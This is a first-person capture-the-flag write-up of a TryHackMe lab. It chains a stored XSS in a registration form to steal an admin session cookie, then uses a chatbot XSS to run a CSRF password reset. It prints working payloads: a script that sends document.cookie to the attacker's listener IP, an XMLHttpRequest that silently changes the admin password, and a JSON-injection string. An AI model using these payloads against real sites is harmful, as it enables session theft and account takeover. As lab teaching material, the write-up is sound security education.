Exploiting Stored XSS to Hijack an Admin Session – "What's Your Name?"

Exploiting Stored XSS to Hijack an Admin Session – "What's Your Name?"

This write-up covers the exploitation process of a client-side vulnerability in the TryHackMe room What's Your Name?, where a stored cross-site scripting (XSS) vulnerability was used to hijack an admin session. The challenge required not brute force or password cracking, but careful analysis of JavaScript behavior and user interaction flows. The key to solving it was understanding how and where user input would later be processed.

Initial Enumeration and Application Layout

The target machine exposed two main interfaces: a registration portal at worldwap.thm:8081 and a login portal at login.worldwap.thm. A typical nmap scan revealed open ports and confirmed that both sites were running Apache on different ports. After adding the required hostnames to /etc/hosts, I began interacting with both applications in the browser.

The registration page allowed users to submit four fields: username, password, email, and name. The JavaScript code on the page used fetch() to send a POST request to a backend endpoint, formatting the data as a JSON object using JSON.stringify(). A quick review of the client-side code showed that the request included a custom API key header, but more importantly, it revealed that no escaping or input filtering was being applied to the input before it was submitted to the server.

Directory Enumeration with ffuf

At this point, to explore deeper parts of the application that were not linked from the interface, I performed a directory brute-force scan using ffuf. This step was essential, as it revealed hidden endpoints that later became crucial for privilege escalation.

The scan was run against login.worldwap.thm using a standard wordlist:

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://login.worldwap.thm/FUZZ -fc 404

Among the discovered paths were /chat.php/change_password.php/setup.php/mod.php, and /uploads.php. These endpoints would not have been found through normal navigation, and their discovery laid the groundwork for the second stage of the attack.

The First Approach: JSON Injection

Knowing that the client-side was responsible for building the JSON object, I attempted to inject additional fields into the request by abusing the structure of the name field. The idea was to smuggle in fields like "role": "moderator" and "verified": true, hoping that the backend might blindly accept them and grant my user elevated privileges. I crafted payloads such as:

test", "role": "moderator", "verified": true, "x":"x

Although the registration was accepted, and I was told to log in via login.worldwap.thm, attempting to do so with these manipulated accounts failed. The login endpoint consistently responded with a message stating that the user was "not verified." This indicated that while the server did accept the input, it either ignored unexpected fields or simply filtered them out on the backend. That path was a dead end.

Recognizing the Real Vulnerability

At this point, I took a step back and re-read the registration page instructions. It mentioned that new user submissions would be "reviewed by the site moderator." That was the critical detail that shaped the next phase of the attack. If a privileged user, such as an administrator, was opening submitted data in their browser, then any unsanitized input could be executed in their session. This would create the ideal condition for a stored cross-site scripting (XSS) attack.

The hypothesis was simple: if I could embed JavaScript inside the name field of the registration form, and if that content were rendered in the admin panel during review, I could execute code in the admin’s browser. From there, it would be possible to exfiltrate sensitive data, specifically the admin’s session cookie.

Executing the Stored XSS Attack

To test this theory, I submitted a new registration form with the following payload in the name field:

<script>new Image().src='http://10.10.186.189:80/?c='+document.cookie</script>

Here, 10.10.186.189 is the IP address of my TryHackMe AttackBox. To receive the incoming request, I started a simple HTTP server on port 80 using Python:

sudo python3 -m http.server 80

Once submitted, I monitored the terminal for any incoming connections. A short time later, the browser of the admin visited the registration submission, and the JavaScript executed as expected. The server log showed an incoming GET request containing the PHP session cookie of the admin account:

GET /?c=PHPSESSID=qj2ra9vvl35gu4a2snd7j5g1iv

With this information in hand, I now had a valid session identifier that could be used to impersonate the admin.

Taking Over the Admin Session

The next step was to use the stolen session cookie in my own browser to authenticate as the administrator. I navigated to login.worldwap.thm and opened the developer tools. Under the "Storage" tab, I accessed the site’s cookies and replaced the PHPSESSID value with the one obtained from the XSS callback. Refreshing the page did not immediately redirect me to a dashboard or admin panel, but navigating manually to login.worldwap.thm/profile.php confirmed that I was now logged in as the administrator.

The page contained administrative content, and my elevated access was confirmed. Depending on the challenge setup, this could allow me to access a flag or verify users, but in either case, the goal had been achieved: complete session hijack through stored XSS.

Further Escalation via Chatbot and CSRF Password Reset

Once authenticated as the administrator, I explored the additional endpoints that had been discovered earlier through directory enumeration. One endpoint of particular interest was /chat.php, which provided a simple chatbot interface. The chatbot accepted and displayed user messages — and crucially, those messages were rendered in the admin’s browser context without sanitization. This created another opportunity for stored XSS.

I submitted a message containing a test payload:

<script>alert(1)</script>

The script executed successfully in the admin’s browser, confirming the vulnerability. Rather than displaying a simple alert, I used this XSS vector to perform a cross-site request forgery (CSRF) attack.

The goal was to silently change the admin’s password by sending a POST request to /change_password.php, which accepted a new_password parameter and lacked CSRF protection. I submitted the following JavaScript via the chatbot:

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://login.worldwap.thm/change_password.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("new_password=1234");

Once rendered by the admin’s browser, the request was issued and processed. The admin’s password was now changed to 1234, granting me full and persistent access through the standard login flow.

Full Administrative Access and Final Observations

After logging in again using the new credentials, I revisited the admin-only endpoints. Pages like /mod.php/admin.php, and /uploads.php were now fully accessible. While the file upload feature appeared incomplete or misconfigured, the remaining interfaces clearly demonstrated complete control over the system.

In previous versions of the room, additional exploitation such as file uploads or reverse shells were possible. In this version, the challenge focused on demonstrating client-side attack chaining — from stored XSS, through session hijacking, to CSRF and full account takeover.

Conclusion

This challenge highlighted the risks of trusting user input in privileged interfaces and chaining client-side vulnerabilities for full compromise. From the initial stored XSS in the registration form to the second exploitation phase in the chatbot and the final password reset using JavaScript-based CSRF, each step demonstrated how inadequate input validation and a lack of basic protections like CSRF tokens can allow an attacker to move from unprivileged user to full administrator.

The key takeaway is that front-end security is never just cosmetic. If the application renders or processes user data anywhere — especially in places only visible to admins — then that data must be properly escaped and treated as untrusted. Additionally, backend endpoints must always assume that any request they receive could be malicious. Without output encoding and request validation, even a simple chatbot can become an entry point for total compromise.